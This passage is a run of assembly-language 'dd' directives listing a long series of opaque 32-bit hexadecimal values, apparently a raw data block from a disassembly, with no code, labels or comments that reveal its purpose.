		dd 4A89184h, 0C339187Ah, 0B4CAC8C3h, 0A8518D32h, 0E18DAF1h
		dd 32A858h, 6A35715Ah, 9703875Bh, 0C449ECE8h, 5BF25180h
		dd 0BE244669h, 0DD02D125h, 0DE30099Ch, 73ABC12Bh, 2CF403C0h
		dd 511C6621h, 0C0798294h, 7CDB5972h, 0B0F9940Ch, 0F4E40B10h
		dd 1DAC18A8h, 4E19028Ch, 24223F58h, 2E442175h, 0B04BB320h
		dd 3ED28F17h, 0E82324h,	0FB176305h, 899F793h, 56481600h
		dd 1748DBAh, 0D6E6873h,	88928E46h, 64DA8BE8h, 3570403Eh
		dd 359AD4DBh, 0F220ACF3h, 0C258F7B0h, 0E64090ADh, 34C1776h
		dd 0FE4E009Ah, 68D2AAB7h, 64F83E95h, 0CC1B3E95h, 4D77D12h
		dd 41E01198h, 6025B894h, 6DCC9431h, 0C3CCAACBh,	0A841CDD0h
		dd 2C449562h, 0E8D46C3Fh
		dd 0A828A881h, 35102894h, 6B0D7EF2h, 0F613788Fh, 0D9A94142h
		dd 274F0074h, 427A61B9h, 0DF3C0E01h, 2A85C9F5h,	18A25063h
		dd 13768030h, 0BE6405Ch, 686D8868h, 5FF48F62h, 54080418h
		dd 0EE12EBF6h, 2C2C4FB3h, 5BCF4282h, 0F423602Bh, 0DE4A8D04h
		dd 0E6C930E8h, 5F1A1804h, 0C20960DCh, 11404533h, 108C4CCEh
		dd 29269C65h, 52ABC588h, 0F21CA2B4h, 0D44731ECh, 0C4B0DD89h
		dd 15E89520h, 0F4836B69h, 0D45F7501h, 3EF4675Dh, 0B5FE5C07h
		dd 0E2D4E0FBh, 3C9797D3h, 581E991h, 28D7A5D6h, 8878001Ch
		dd 6FDCA9DEh, 93E890h, 0FF0D0953h, 0F8249ECBh, 7880609Eh
		dd 0A428A1ABh, 0B7120711h, 30EF227Bh, 0BCD5724Bh, 3A3B8681h
		dd 0B923C4h, 3FC26C96h,	0F014C75h, 6A4A9E2Fh, 0EC3DC3DDh
		dd 0EDAC04D3h, 740244CFh, 5500FCB2h, 0D2C8206Fh, 8371628Bh
		dd 8A9DA900h, 72AC6DB0h, 9C811F1Ch, 9BAE8425h, 3D84A330h
		dd 17845C68h, 0D0C761E4h, 6AE2A610h, 272C014Eh,	3DBB260Eh
		dd 18802E78h, 133591CCh, 0F264E4CEh, 0B2804300h, 0D49F31DBh
		dd 0DC1290F1h, 64F8DDAFh, 767BA280h, 19021B7Eh,	54D7609Eh
		dd 0F87C438Ah, 97E1496Ah, 1691B01Dh, 0F7B78280h, 0FA00E94Fh
		dd 0F9357408h, 1852966h, 369F9CEFh, 74D74BA6h, 7C94EA68h
		dd 0FC7A4280h, 0F85329Ch, 0AC054B8h, 63600101h,	0A2A063EDh
		dd 379130B9h, 0A5D83800h, 97439C6h, 5162284Ch, 0EDDF2D70h
		dd 0F07C08CAh, 0FF003697h, 1C64B9D8h, 0DA9400E5h, 0D260A5AEh
		dd 0F917E657h, 0E01C01A7h, 0D409D4D7h, 65CC4D86h, 8B06824Ah
		dd 0D407DC56h, 0EF85A7A5h, 136824E0h, 0D0F91124h, 415A81C4h
		dd 804C913Ch, 8B28BEE7h, 1323311Dh, 48A1170h, 0A03B950Ch
		dd 6B02AE00h, 835B69D8h, 5EFC48E9h, 9F4FA5h, 66740778h
		dd 0BB004E4Ah, 3CAA60ACh, 7770581Ch, 5BD80F6Ch,	0C149C64Fh
		dd 0EBD144D9h, 3503D818h, 63115FA0h, 0D4CBD01Ah, 375D12E1h
		dd 629C82C2h, 1E32CE1h,	9E0334Dh, 15F8C19Fh, 0F43FDB4Bh
		dd 0B26036DDh, 0B7612531h, 8E02093Bh, 0B87A6FB6h, 134AAF40h
		dd 6E7F0CE1h, 0CF2C50E8h, 2589C88h, 0DED3E791h,	8C6893A5h
		dd 566EE4AEh, 63013FE1h, 0DB110903h, 0F7F0EC76h, 5A3A095Bh
		dd 23BD1251h, 0AFD80C40h, 48A2B2h, 6091E450h, 0B039D12h
		dd 89381F3Ch, 717930B3h, 0DC4F0E38h, 34B431E0h,	5D007BDFh
		dd 0D9F62EB8h, 343D133h, 68EAE032h, 0F100DDC8h,	96DF8E5Ah
		dd 2879EE7h, 0FE842E50h, 0FCDA6023h, 0F42F9B17h, 0C0B824C7h
		dd 4AA8B02Dh, 7C8B195Ah, 0B0259500h, 0EABAEE67h, 9278CD31h
		dd 0B8858FE2h, 0F459E527h, 5C16F920h, 6CB2F5A5h, 0E8331CF2h
		dd 4E2F73A7h, 3178B408h, 5C86DA40h, 0D1064E5h, 0FCA12ED2h
		dd 0E8FAED60h, 0E5040096h, 77CE5A2Ah, 50274D30h, 0E8D125h
		dd 1870F3D0h, 0BD132C83h, 900141Fh, 5ACC29A3h, 0CB9106F7h
		dd 31E3C890h, 6D34702h,	0DCEDD03Dh, 639B8020h, 6192FC3Fh
		dd 7F04FD00h, 0AB58BDC3h, 1D7181h, 62AE5730h, 719CB83Bh
		dd 0F176DEAh, 0E445F5BFh, 0D8A40BDEh, 0E1B540F7h, 842F225Fh
		dd 0A100EF23h, 927CBD61h, 5DCC3DFBh, 6110F618h,	49DC1A5h
		dd 0F4A87EC4h, 58CEAB8h, 0D39A705Ah, 88A4CEEEh,	0E1BCC3E8h
		dd 4E5670A0h, 461FE400h, 0A7B36990h, 16A0B163h,	7C6E6Bh
		dd 0D85C6886h, 32393394h, 5F48DFF3h, 11B03030h,	88314AADh
		dd 289087DFh, 0B6C7B2B0h, 13D914C9h, 4880F4D4h,	0B8B08F88h
		dd 13F419E4h, 0A468416Ah, 301324C0h, 0B0A63493h, 72359Ah
		dd 110309F8h, 0A19E52D5h, 0D76C1E2h, 0D04F5C09h, 56B8823Dh
		dd 87BC80DEh, 922E20Fh,	0E1B79DFEh, 0CE20A8DAh,	0B5580914h
		dd 5864B8C7h, 0F480D974h, 21190179h, 961764FBh,	88402841h
		dd 0D188A10Dh, 7AA619E1h, 0BA114098h, 3A00AAF3h, 251BBE99h
		dd 16C53F6h, 6805108Fh,	60D3ED62h, 0E89FC990h, 305B71B4h
		dd 881E9837h, 660103B3h, 567A3EBDh, 0FACC49E8h,	4AF0013Fh
		dd 7DFC5F30h, 0E0F2D0D3h, 90C1234Bh, 0E360D688h, 10074983h
		dd 0A9B61D78h, 0E243C576h, 0BCC8AC23h, 20008CEBh, 7280B378h
		dd 9145425h, 7795DE74h,	7F72F8F8h, 0A3560A0Bh, 70CC53FBh
		dd 0B30B31EBh, 0F2BE5D83h, 63C50020h, 7F202CE2h, 0B7023BB2h
		dd 0F43F64A9h, 0E4C8457Dh, 0E53561EBh, 8FC8E0CBh, 0ACE162Fh
		dd 0CE2B2h, 5BD7AA3h, 1F80D7B7h, 9FA9648h, 0CC33E5Fh, 0BE978017h
		dd 23163CA2h, 188C2159h, 0BD46ECA9h, 0F113B0FCh, 0E8512851h
		dd 0A2EFBC88h, 0AB64A448h, 0A4590A32h, 16E7F800h, 409E5FE2h
		dd 0CA303521h, 1DFEF9F2h, 0A4CE0150h, 4466BEBFh, 0CC09F80Eh
		dd 0AF566D00h, 59BDAE73h, 5A690980h, 0EC72D229h, 1C4FEB5Eh
		dd 89ACA1C1h, 0A8CB73FDh, 624FFC2h, 1AE22018h, 4F0988D2h
		dd 0F958C988h, 18ED7920h, 88C93B2Eh, 6601213Bh,	1B5E4B3Ch
		dd 6927F83Bh, 0D9B6AC00h, 0B6832BCh, 2A23EC14h,	9DBC7E65h
		dd 813AC0B7h, 9CDB5560h, 0D45024EAh, 0B463A835h, 0A3688020h
		dd 963F5E51h, 8F4C839Dh, 2E4EB0D6h, 521A2772h, 726B6041h
		dd 30DEF204h, 0E42CA31Dh, 4D4094A5h, 5F962857h,	737461EEh
		dd 0E915E9A3h, 0D7786077h, 57AC440h, 664F5E19h,	5550A0FAh
		dd 5E50E040h, 0ED200CCDh, 6C5FE4D9h, 0E8F7B846h, 64CC0089h
		dd 4B96A8F6h, 6F185F59h, 0F079B9D0h, 4ABCA07Ah,	68F8485Eh
		dd 90995A8Ch, 0A04E3F26h, 0D4087006h, 0D25B2060h, 53015F07h
		dd 58A38F57h, 5882F4F8h, 0A2081833h, 31494C35h,	4E9C084h
		dd 37A4DC00h, 909DE4F5h, 9FA7D800h, 0FF25CB53h,	443500CAh
		dd 4E7E4BA6h, 6F1CE157h, 2401DF56h, 0D40F9D60h,	29ED0474h
		dd 0ACCA2Ch, 14734B87h,	8D2278ACh, 606100F1h, 0A65A8928h
		dd 2CA4306Eh, 0AB5FE42Fh, 1FF040B4h, 0E5F815F4h, 4E180C5Ch
		dd 174991DFh, 0E8D61890h, 2D70D420h, 96BE19CAh,	41BA10E6h
		dd 7E765AECh, 97EDBC08h, 3D5C88A7h, 5045DA5Bh, 0D0B3DEFBh
		dd 4C3015B2h, 0C10D003Ch, 0C6BA4948h, 4E0253B5h, 9B7D1447h
		dd 3044EAh, 5E5C0C78h, 16CF765Dh, 0C9202A2Fh, 202E5B8h
		dd 3BAB548Eh, 0CCC0B4EAh, 0C910444h, 0BD2D8311h, 8E8508C8h
		dd 0D227D40Eh, 7E2E00A5h, 0DD1852h, 0E953CC71h,	0BDAF592Dh
		dd 4E40A097h, 1F47054h,	8F36E498h, 30D76CCDh, 7716DEA5h
		dd 78A15075h, 0B5B3384Ch, 0CB7D7C85h, 0C0EBC8ACh, 294E2224h
		dd 56C9E303h, 0EAA02FE4h, 0B968C1D6h, 0A441AE02h, 0B5E09EEFh
		dd 0F638A060h, 65FE24DBh, 6A686260h, 0A5928876h, 5E9C2431h
		dd 902C8BE1h, 0E422AD39h, 7D4BF700h, 0C49E57F8h, 3B420023h
		dd 0C12E501h, 0BC0ED5F9h, 0E0E90571h, 606FB450h, 175B0BD2h
		dd 0E8792C78h, 8B18E9D9h, 0AFC9CA18h, 0C2A4DB9h, 5183EAE3h
		dd 165A4EE9h, 0EC88888Fh, 4C5786C1h, 1994056Bh,	0BD8821EBh
		dd 4090201Bh, 0EFCA0909h, 9944B8D2h, 581C006Bh,	41F2E3B1h
		dd 6F04D689h, 6DE4D008h, 5D0B7CB9h, 0FC540E37h,	0FBBD5E05h
		dd 73F7AC42h, 6A4A00DDh, 78D9DEEDh, 0C302CD40h,	561D5E21h
		dd 374DDFCh, 175C4995h,	50252904h, 58F468BEh, 0A624071Bh
		dd 0C6E33A69h, 6BF019B6h, 14144B4Fh, 98EB280Ch,	2B4A3E43h
		dd 1ED233Ch, 70D9B7A4h,	48016BE8h, 0C6159267h, 1C17C0AFh
		dd 78801991h, 3A1C534h,	1A5E3D06h, 944124BEh, 0C16740E0h
		dd 3D00E255h, 0FFBBC094h, 73914C4h, 0E0B04063h,	0A0346FF9h
		dd 0C744E920h
		dd 0B8092860h, 1FAD20E8h, 0A98A4A0Ch, 0A4C9B0EDh, 2C97BDB4h
		dd 7180EB91h, 0C3CE163Bh, 0D830CA02h, 0D99D6954h, 18EB79F0h
		dd 0E8B6000Bh, 6B9755B5h, 283A3AADh, 10B57273h,	6A9178h
		dd 52683D2Dh, 4CB2AA50h, 0E6F07264h, 589F4A42h,	0EC425CC2h
		dd 0ED4CA957h, 0AB77C464h, 0FE3B1800h, 1787E4CFh, 0B60B2FC1h
		dd 21DAE0CCh, 0FAE70012h, 7E5DAC19h, 5E22235Fh,	975200CCh
		dd 47515AB1h, 197D7B2Ch, 5FF7B917h, 3D14A0h, 0FC6153CDh
		dd 0B14B6A13h, 1444214Fh, 0A501C3C5h, 68F7DF5Bh, 0F58A1DBCh
		dd 467C4CE4h, 4931071Bh, 0B720903Bh, 9EBE413Fh,	0B193E8h
		dd 0ABEBA84Ah, 0A1001B20h, 765155EFh, 16216A9h,	0F435926Dh
		dd 0D866B0EAh, 50A0B526h, 0B8C7435Fh, 0EE4F913Dh, 0D0E3039Eh
		dd 99A8F8CCh, 0F94A028Ah, 82FD3F72h, 903EDCF4h,	0BD01843Bh
		dd 0D58CC824h, 81E8280Ah, 1B7E2127h, 0FFE8082Bh, 0E1EB4984h
		dd 6005B0A2h, 0EDA9C5BDh, 94431230h, 0C2E168E0h, 0EC2F1510h
		dd 0EE831927h, 0D68030EAh, 0C38D6069h, 5D40C760h, 0C2223A3Fh
		dd 0AF93C559h, 97AB0109h, 0D86AE124h, 0CF206C08h, 5EAC9EF8h
		dd 9001DF46h, 0F250E47Fh, 0F48C6B51h, 0C5CC40DFh, 79AA4E25h
		dd 1753041Ch, 2844BBF0h, 0A33D081h, 0E755039Ch,	716AA02Ch
		dd 0D8609BE5h, 7E045418h, 0F7CF3EC2h, 483FACB4h, 0A30792C1h
		dd 0D44B6CCEh, 854A9FDh, 1D3316Dh, 0A253187Ah, 0CAE83965h
		dd 0D981BC14h, 0B2CBB558h, 0C089A42Ch, 864A8850h, 8FC0CC9Ah
		dd 75D37AD2h, 0F329E4B8h, 0A13D94ECh, 752919Ch,	0B3744026h
		dd 939B28ACh, 0E0452570h, 9160EBE4h, 2D00D121h,	64F835E2h
		dd 246C7F9Bh, 38EE1A90h, 0F0DAE1A5h, 89F45348h,	0DAEC68EDh
		dd 0C7F200DFh, 6A8149A3h, 4D071D5Fh, 5D8633D3h,	0A4F0CA74h
		dd 2FF40230h, 0D659724Bh, 0A1A8B8D5h, 17951360h, 86F8B4E0h
		dd 0E7BD1B40h, 21FCA850h, 5FD412A4h, 708817F2h,	3C736518h
		dd 0FA71E700h, 2ADEA472h, 60350718h, 916AD0BFh,	702F9729h
		dd 0A097EA13h, 20356DA8h, 22C000CDh, 98A52C6Bh,	0D607EB51h
		dd 8DE805B1h, 0D26924C2h, 75A5403Ch, 0EA7C46BDh, 592F00ECh
		dd 0CDCFD022h, 74B972F4h, 0A4600C2Ch, 25744Eh, 2DDBB442h
		dd 0E5884F4Bh, 10E2F35Ah, 0C85EE412h, 62501E00h, 0C0B765F0h
		dd 2A1060ECh, 4BA4F3E4h, 8604B0F5h, 4674209Ch, 4C017BB8h
		dd 6C47001h, 203A92CEh,	54262708h, 9E04B81Dh, 7DFB4301h
		dd 0D8FC7E9Ch, 0CD732D9Dh, 0CFC98AAh, 3F11C313h, 7480365Ah
		dd 61A39D60h, 0D25F19DFh, 64E204F1h, 8130EAF2h,	214093C4h
		dd 18DB7178h, 0C8C0008Ch, 1C06D6B2h, 100FAE5Fh,	93636D5Eh
		dd 4BABA424h, 0B409550Ch, 0F4007CD9h, 0B3403629h, 0DB443902h
		dd 4BFAA900h, 0FFDD7CD2h, 0B06CE413h, 0D9B0C8F7h, 3005BF31h
		dd 43F636Ah, 1162A890h,	0DAAA80ECh, 149BD54Ah, 4B36F382h
		dd 8540E4C2h, 2EE14F57h, 71284C07h, 702FF6B0h, 0C8D36508h
		dd 0F7AC458Ch, 0BCA040CDh, 0D4CEF996h, 0D9821825h, 61E40444h
		dd 23C09124h, 6F207258h, 2CE072B8h, 92CA16Fh, 0FA6501D2h
		dd 5BAC30D7h, 71AC31D4h, 0B2C6327h, 7910D184h, 0DA18B6h
		dd 0E75CBD62h, 86360787h, 723B9900h, 0A7696E35h, 2FA0C29h
		dd 4AB1D80Ah, 0C9252017h, 7B7ADCD0h, 670C004Ch,	90582D37h
		dd 6001B41Ch, 52A13BB7h, 0F824E808h, 2FAF811Bh,	14F298C1h
		dd 58E8BCDBh, 58CE8BCh,	0B66DFC5Eh, 264080B2h, 449DA9D0h
		dd 13C00A0h, 5CDFAD12h,	957D8E85h, 3879762Eh, 467C3CA6h
		dd 0D0E4011Ah, 0EE5BEB7Fh, 23843B2Fh, 816D16E9h, 30F45378h
		dd 9D075260h, 31640647h, 0B4098C6Ah, 918D2B8h, 0A59E1160h
		dd 0A01378E4h, 0C4F2A7E4h, 30025321h, 5AD311CAh, 476627DCh
		dd 0AD622CB1h, 4E4D1h, 0CE3EE78Eh, 4B3A8057h, 0DE0B70DDh
		dd 8FFC82AEh, 6C4701A4h, 840F7F97h, 5D719AEAh, 27073037h
		dd 772739AFh, 694FF3E0h, 2553E4B3h, 0F4A4DE93h,	684808EFh
		dd 0EF465434h, 34F61400h, 0ED6ECA47h, 0D3BCF15Ch, 0CD439C04h
		dd 80C8AC17h, 5EB89E80h, 7325000Fh, 0CA8DBF6Eh,	0C64EB307h
		dd 0D0A8A835h, 18CDABCh, 6D97441Bh, 6FBE8461h, 54098447h
		dd 7C08EAD5h, 0F0E209EDh, 81669854h, 238F1811h,	5F5CFC10h
		dd 808E0339h, 6A377963h, 5EEEB34Bh, 0D73C8C15h,	0AA64CF01h
		dd 68785FCh, 408BDC30h,	5014ADE1h, 718CF114h, 47E2589h
		dd 130B56D4h, 281FC0Bh,	3E6299Ch, 0E8E57323h, 0E8CB8094h
		dd 24413655h, 4074EDF2h, 98E6326h, 0A3E2C700h, 560FB16Bh
		dd 0E77E0012h, 0DEDCD051h, 84B06502h, 91D1AF31h, 0CC689E22h
		dd 8C00EF20h, 9F64CE56h, 4BF81E90h, 0E268A32Eh,	9AA930DDh
		dd 0EE1D616h, 42FD8E0h,	0DD458D6Ch, 7422EA72h, 1130F999h
		dd 2C8458CCh, 4A842895h, 488E1B5Dh, 0E7C0ED88h,	398D910h
		dd 0BFB83BAFh, 9825FCEh, 6422ACF0h, 0AF5207BBh,	2BDF1BD7h
		dd 60000CC4h, 4E4B3B25h, 60C990FDh, 0E4AA19A4h,	5CBCEA5Dh
		dd 8492CF45h, 0F85978h,	3113F17Ah, 8A00EB4Ah, 0C46FF629h
		dd 0F8E1AC0Dh, 0F36D2D60h, 4E7088F8h, 0CE880302h, 21E9BEA3h
		dd 0F0535F24h, 0E8006394h, 0D4AE71C6h, 57AB6B5h, 663ED968h
		dd 58C917h, 0D6DD64A0h,	0D8ECB7h, 0FF10E58Eh, 13A3BFDh
		dd 0E0A0F226h, 0B0902205h, 330290B2h, 0A715CAA6h, 0F119B5E0h
		dd 0D3451402h, 56C36D9Bh, 0AAA3092Ch, 0C842ECD6h, 7788A1E4h
		dd 7AFC476Bh, 60AD0069h, 60B784Eh, 0C9268A2h, 6440ED4Ah
		dd 8065F695h, 236E0025h, 8E665413h, 0CE00D25Dh,	19185A94h
		dd 0B163E58Bh, 5E4A0114h, 0E0A82F1Ch, 601F27A5h, 51774FF2h
		dd 0EDD024C1h, 0BA6D6440h, 0F73912D4h, 0C1A8BC19h, 4AA95730h
		dd 914C91BCh, 3B4B685Ch, 1E12330h, 0C56AD18Ah, 8912ADAh
		dd 0DD6FE783h, 0C4887BA0h, 630E3860h, 99230780h, 61A4F52h
		dd 880F4600h, 3CF1E1D4h, 636904ABh, 0E915D5D7h,	0EE9DBC28h
		dd 0AF8E007Ch, 6A299088h, 0A73174Ch, 2545F49h, 9FBD5E9Dh
		dd 84CCFCC6h, 22EC644Fh, 7C385474h, 3A00B646h, 24AEBCA3h
		dd 9F006392h, 0F906BAFh, 163E0964h, 5F734AF4h, 94F3256Ch
		dd 303458h, 3B1DDFC5h, 0C36BA80Fh, 0D41F609Ah, 0E86EF56Ah
		dd 28046DC2h, 0EC609A6h, 0D1109871h, 1020A5DFh,	0BAD41A4Ah
		dd 3BF710A1h, 0EF42BC47h, 39507C60h, 4C1E3ED7h,	0E282283Fh
		dd 0A7B6860Bh, 0BA01BCF9h, 0A2E4724Fh, 5F001C72h, 794A0911h
		dd 0A535DE78h, 708261C3h, 0E8BD23F7h, 0C25F4100h, 5E0CA690h
		dd 81F65A01h, 30A2BE24h, 512F8A04h, 17A4FAE7h, 0BCD81EF0h
		dd 9D9ADE68h, 0AC7853B8h, 0EA4674A0h, 2A91417h,	1606D718h
		dd 157194D3h, 55009918h, 76A74967h, 0BC9C11Bh, 0D64F57C5h
		dd 0CE13A0D8h, 78D06806h, 3176219h, 8CF9187Bh, 0DA9AE581h
		dd 27A65C40h, 26642284h, 0E8C8521Ch, 1927DB9Ch,	206FA6E0h
		dd 9944704Ch, 9D8F2600h, 4E04F29Ah, 30B90094h, 0ACB86B13h
		dd 0E42D3FB2h, 5D94A2A6h, 10005722h, 0F67787A8h, 8B311804h
		dd 1881B2FFh, 5F00E183h, 0E413BD21h, 8C8D7813h,	0E7F2BC72h
		dd 2E4E130h, 16763591h,	0B8B7A5D6h, 78937080h, 16206061h
		dd 125CFF0Ch, 0AA4D0F0h, 100793Ah, 0D05FB28Fh, 283B9D9Fh
		dd 0BCB04F58h, 18FF76C4h, 7FE500F3h, 1E056D1Ah,	70D73AFFh
		dd 0E9C8248Eh, 0A6D57AC7h, 8858E4B2h, 143F0602h, 307DB0E0h
		dd 404B9D48h, 8144F7CAh
		dd 0F57210C0h, 4AF313EEh, 0E068B422h, 4A4F5ECEh, 0D9C0B152h
		dd 0CCFD9Dh, 165A677Fh,	8B54182h, 6C80F47Ch, 9B40B705h
		dd 4E2D002Ch, 662F27A0h, 470ECD87h, 20317810h, 8A698139h
		dd 0A8A0BF85h, 1606F74Bh, 2613080h, 0EC5E884Ah,	0DCDEEDC4h
		dd 70B0D980h, 3ED03469h, 4300A635h, 5D65A917h, 9D00AA16h
		dd 94E5809Eh, 2D675F01h, 64801E76h, 629FB157h, 0A1DEB512h
		dd 8B1860A9h, 0B48DD879h, 4950C500h, 0DCC23248h, 5187BE0h
		dd 75087E1Eh, 0D908E02Dh, 675D1586h, 8138C1Ah, 0E8AC88AAh
		dd 22189558h, 10419F5Bh, 0CC9410BFh, 179A26D4h,	0AD1CA144h
		dd 0A15F68CAh, 0CB94F1E0h, 40BDCC30h, 7E27E6A9h, 66A899E3h
		dd 50F3C44Ch, 5530CC2Fh, 51E0E8A7h, 80555A92h, 0C593EEE8h
		dd 4FC140BCh, 0F054ED0Eh, 5A0CB801h, 0CD2BDB19h, 0AD709168h
		dd 7D82680Bh, 105914E2h, 9052613h, 202CE007h, 3AF2243h
		dd 0F04D8A10h, 7F3B277Ch, 0C0068C50h, 0D5DCAE95h, 0C28F20F0h
		dd 0E481E001h, 0D8534B6Fh, 5687C879h, 25E058EFh, 0BCFD6AC1h
		dd 0A0652544h, 8C6319E4h, 1F582FE0h, 4EDFC909h,	9C8E5596h
		dd 0BB55DE00h, 0FC00A82Ah, 0AB5F2CA3h, 90E85268h, 0EEC0009Ah
		dd 33558CA0h, 0CE0C7EE1h, 2069183Ch, 8B100FDh, 55DD5EDFh
		dd 681ED006h, 9FA62C5h,	5A4E5F97h, 0D8080088h, 58A504FBh
		dd 7C00DFF2h, 0DE657CDh, 92992C2Dh, 69270014h, 74AF5296h
		dd 262FAA2Eh, 260F8CEh,	1FA7AE14h, 6C7482EBh, 408F5549h
		dd 0FDE08C8Fh, 5F5255F4h, 4D9AEA01h, 0D04E2BDCh, 0A7D3818Bh
		dd 41CF1C04h, 0F72AEB4Bh, 6C481EAh, 0E5F1D4D6h,	0F46D1092h
		dd 0DC0F5EB4h, 0A4371F1Bh, 3F428658h, 28B4D021h, 2980BE49h
		dd 0E1C028E6h, 2536EE95h, 9CE85AE5h, 8F03EAA6h,	15F5DEE7h
		dd 4EF1A1D7h, 5FA0422Fh, 93419B1Ah, 13405A1Fh, 0C88CB0E8h
		dd 948002Ch, 5953DC69h,	0B8581CCDh, 82F78674h, 0B2E05AF8h
		dd 0E03C46F8h, 0A8026EE4h, 3610BCA4h, 30D9F190h, 340ABE45h
		dd 75E18C8h, 47CC68A9h,	52799014h, 0D1C0CAF8h, 0D8D0968Ah
		dd 2ADB054Bh, 118EEA5Eh, 0AE2BC48h, 67231936h, 0F59761F4h
		dd 0F820A075h, 0CBA8C654h, 0AE39BDF7h, 31434057h, 11A921ABh
		dd 1D33E08h, 0F173CD51h, 90624Ch, 9FE6B158h, 1BCFB60h
		dd 828CC805h, 0A8F270EBh, 0C00B7091h, 61F8B09Eh, 21F2E964h
		dd 0F1A7D723h, 19204C9Ch, 0BE2FBCA4h, 24E0F07Ah, 129C8D44h
		dd 1AA01469h, 4DCA271Fh, 4008B7B6h, 0EEED5410h,	74E8E5B5h
		dd 12D96602h, 6069C9DBh, 0C494BD9Ch, 49E5708h, 0C106CB44h
		dd 4F2028E3h, 898F20B2h, 31BC6A20h, 6420FF72h, 31E903B0h
		dd 0AD215809h, 800888C5h, 9C5F0872h, 8BE3E08h, 2608ABCBh
		dd 0CC2008B9h, 58ED060Ch, 3FCA40E8h, 3E698E40h,	4181309h
		dd 0AD6B20FCh, 8085FE80h, 9E800CB2h, 0AA19C85Fh, 44D1FB18h
		dd 9508C482h, 5D630466h, 4C89B70Ch, 0F8400362h,	0FAAA0399h
		dd 6F266810h, 0FC94D31h, 7FF401B3h, 1CDE101h, 3998A090h
		dd 8BD9087Ah, 0B451C381h, 28019F7Fh, 7C0C015Bh,	52627901h
		dd 0CCA4CE8Ch, 5C2D0471h, 48D1104h, 7D068AFDh, 3620A80Bh
		dd 693C6295h, 0D8028F87h, 65D5036Bh, 639CE122h,	0BAEC0881h
		dd 70F15132h, 0FBD8A21Dh, 9DD06A2h, 0B2592863h,	0EF793386h
		dd 0C9190730h, 0F939757Ah, 9DF51888h, 0ACD1B519h, 0A20EC452h
		dd 25A47E4h, 790311CDh,	2C415468h, 0CE91405Bh, 1D200663h
		dd 0D05810E8h, 0F748187Eh, 806C1E10h, 8CC9753h,	62CAD981h
		dd 0B00D20DDh, 9C4A2605h, 4395CCA3h, 0BB7710F0h, 8AEBC19h
		dd 0AFA988A8h, 69D91983h, 0E08C53F2h, 87414118h, 8090E208h
		dd 51D10EBFh, 198031C8h, 0C053B123h, 1B482AFEh,	0C56A20A4h
		dd 3017B431h, 0EB019902h, 0E26901C7h, 2BEF601h,	0A2B8A470h
		dd 0CE3F7C93h, 88FC5418h, 5201EB5Eh, 610E01A4h,	2767701h
		dd 9CA0A302h, 6B40100Dh, 0E091189Ah, 0C892C618h, 0CA15C399h
		dd 61813798h, 880AD2D4h, 0C9309BC8h, 9204A2C2h,	48E89C92h
		dd 80C9B380h, 17806F34h, 6D40C5E4h, 72E05D8Ch, 5803D0D9h
		dd 2E0810D7h, 741619E6h, 10242920h, 2F88A82Ch, 0D510C607h
		dd 0E73120C2h, 0D1C00877h, 53092092h, 0F195B1F0h, 48E19825h
		dd 0D1913D69h, 39188C39h, 825D0898h, 80A1A080h,	11D87CAFh
		dd 80F85D41h, 7580819Dh, 0F7F42571h, 5674CC20h,	554A2203h
		dd 70D980Fh, 10BC2AABh,	18C00CDh, 0E808E67Eh, 0C9139969h
		dd 0C44A8B8Eh, 1903AF07h, 0D08AA0A4h, 0EFD93A9h, 0B1C47C60h
		dd 5E58B9Fh, 98C0B81Ah,	0C17FE402h, 0FC4AC501h,	6FADEB3Bh
		dd 0B45074h, 632E8B80h,	5A1E704Fh, 0CFC2B300h, 56B1CCA4h
		dd 8240B6ACh, 0F1BE20DFh, 60005854h, 85522449h,	269C01D7h
		dd 22DC8DBAh, 3FB4C843h, 0EAD47E1Ch, 0C4001156h, 9EA8AF06h
		dd 999130BEh, 0F3205840h, 1771D800h, 0B390DD50h, 3C93079Fh
		dd 0C0FAC08Ah, 2E0FDE1Fh, 0BE52EE00h, 3BD9B6C2h, 0CE6B30CAh
		dd 3FC2190h, 13028BE4h,	0DBF7EAC4h, 0A5587678h,	0F46B14C8h
		dd 0CA31B106h, 0A38B318h, 0AD56EF57h, 0F5F096Ch, 5C80D0FCh
		dd 0FD79C544h, 96000AFh, 124B2390h, 590CEC64h, 28F433EBh
		dd 56A0028h, 49612A9Dh,	2307463Dh, 29F9E784h, 0CA15CF40h
		dd 60BD603Bh, 4A543AAFh, 0CC935B00h, 23135FE1h,	4176098Dh
		dd 504368BEh, 0E0B1F5B1h, 10C1B880h, 7E76F85Bh,	8599D190h
		dd 0F400E4A3h, 20EAC50Ch, 45880BFh, 9CCE0F9h, 74ECE155h
		dd 0FB06DF34h, 4B2ECA34h, 2053D11h, 2CA41Eh, 2810D052h
		dd 6D00B45Ch, 0C5D87691h, 9047A0BEh, 0F8591358h, 144CF0D1h
		dd 5D3C3100h, 0A9DBCCCEh, 0D01124Ch, 0D50C080Ah, 0B4C1488Ah
		dd 5BF9E640h, 14020022h, 0CE4B9726h, 730F850h, 9CAD9FFh
		dd 3FE13AC8h, 39A0E598h, 0C918F9C6h, 78107653h,	80136073h
		dd 4B0CE94Ah, 3095EF30h, 0D55B1EEAh, 0AF8154F0h, 9410836Dh
		dd 51945E18h, 0F1A0082Ch, 0A7848295h, 1704ED4h,	59F9BEE1h
		dd 21D90E66h, 1CD42A40h, 750F2030h, 0C524015Ch,	790CF968h
		dd 95041B6h, 54CDE00Dh,	5A138C9h, 13AFC41Ch, 0F748D000h
		dd 30DF1BD1h, 430FC702h, 2AA9C05Dh, 0AA562878h,	74E5EE48h
		dd 0E22CA1DBh, 82186068h, 27F85065h, 0A0A000B7h, 997293Dh
		dd 0ECA82FC2h, 0C03F2402h, 53F96900h, 7160A09Ch, 566CA2FCh
		dd 8491458h, 589CAA00h,	54F9965Ah, 0C4A0DEEAh, 0DF809B62h
		dd 2FE8F879h, 1C0AD2ADh, 588118EFh, 361DFD56h, 6040858Dh
		dd 4AF38A07h, 2DBE18B8h, 1EB57898h, 5301B77Eh, 0C9DAEF20h
		dd 0A9003A56h, 0CEFEEC14h, 4924C00Dh, 4423204h,	82A102BEh
		dd 0B98CB127h, 0D3B4A111h, 0FE74B981h, 609F80F2h, 0D65C9D4Ch
		dd 7701181Dh, 4BBE2249h, 41F484BDh, 24CA25FCh, 1DCF0015h
		dd 904ABEh, 77FEEECCh, 0F718DFD6h, 3D6056A1h, 53661F7Ah
		dd 3AD92DDh, 246FF980h,	0FF06D6A0h, 28F6B030h, 676D3D79h
		dd 9BC968C2h, 0B2007451h, 55212570h, 0A020CBAFh, 570C7051h
		dd 40B3E8B6h, 0C146562h, 82F85AD9h, 42028BF7h, 5D24B918h
